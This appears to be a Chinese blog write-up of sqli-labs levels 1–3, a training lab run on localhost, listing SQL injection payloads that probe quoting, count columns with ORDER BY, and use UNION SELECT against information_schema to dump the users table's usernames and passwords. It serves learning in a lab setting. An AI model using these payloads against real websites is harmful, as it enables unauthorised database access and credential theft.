sqli-labs(一到三)

目录

前注

第一关:get 单引号 - 字符型注入

第二关:get - 数字型

第三关:GET单引号变形字符型注入


前注

在开始之前我们需要先做一些准备工作,打开如下文件夹

用notepad打开index.php,添加如下两行,第一行是将我们构造的sql语句进行输出,第二行是换行,接下来我们就可以开始做题了。

一.less-01

mysql的基本用法

1.查库:select schema_name from information_schema.schemata

2.查表:select table_name from information_schema.tables where table_schema='security'

 3.查列:select column_name from information_schema.columns where table_name='users'

4.查字段:select username,password from security.users

 -------------------------------------------------------------------------------------------------------------------------------

第一关:get 单引号 - 字符型注入

1、经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=2 --+

 
2、接着尝试在id后面加上’,发现页面回显不正常,表示可能存在SQL字符注入:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’

 3、输入–+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入:http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ --+

 4、利用 order by 来判断users表中有几列:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 1
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 4

由上图可知没有第四列
%23指#的编码(这个不太明白,有待学习)
4、将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位:
http://localhost/sqli-labs-master/Less-1/?id=-1’ union select 1,2,3 %23

在这里插入图片描述

 可以看到只有第2列和第3列的结果显示在页面上,说明有两个显位
5、然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息
(1)查询数据库名信息的语句
?id=-1’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

在这里插入图片描述

 

(2)知道数据库名后拆解表:可以用limit一次列举出来,这里直接使用 group_concat函数
*mysql的数据库information_schema:系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,常用的表:
SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库

名,编码类型路径等,show databases的结果取之此表。

TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表

COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。

?id=-1’ union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users–+

在这里插入图片描述

第二关:get - 数字型

1、根据提示输入:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1

 我们发现MySQL的执行语句中id=1没有用单引号包住,由此可知为数字型(注入更加简单)
2、利用 order by 来判断users表中有几列:
?id=1 order by 1

?id=1 order by 4


可知该表有3列数据
3、将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位:
?id=-1’ union select 1,2,3 %23

 可以看到只有第2列和第3列的结果显示在页面上,说明有两个显位
4、然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息:
(1)查询数据库名信息的语句:
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

(2)拆解表:
?id=-1 union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users–+ 

第三关:GET单引号变形字符型注入

1.向页面输入?id=1’ --+页面显示不正常:
?id=1’ --+

 但是输入 ?id=1’) --+ 页面回显正常,说明此处是字符型注入,而且是以 (’’)的方式闭合字符串的:

在这里插入图片描述

 2.接着使用order by 判断表中有3列数据:
?id=1’) order by 4 --+
(在?id后面加了’),就已经和前面的(‘匹配了,所以要把最后的’)注释掉)

在这里插入图片描述

3.接着使用联合查询,union select 1,2,3 判断页面是否有显示位 :
?id=-1’) union select 1,2,3 %23

在这里插入图片描述 可以看到只有第2列和第3列的结果显示在页面上,说明有两个显位
4、然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息:
(1)查询数据库名信息的语句:
?id=-1’) union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

在这里插入图片描述

(2)拆解表:
?id=-1 ')union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users --+

在这里插入图片描述 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值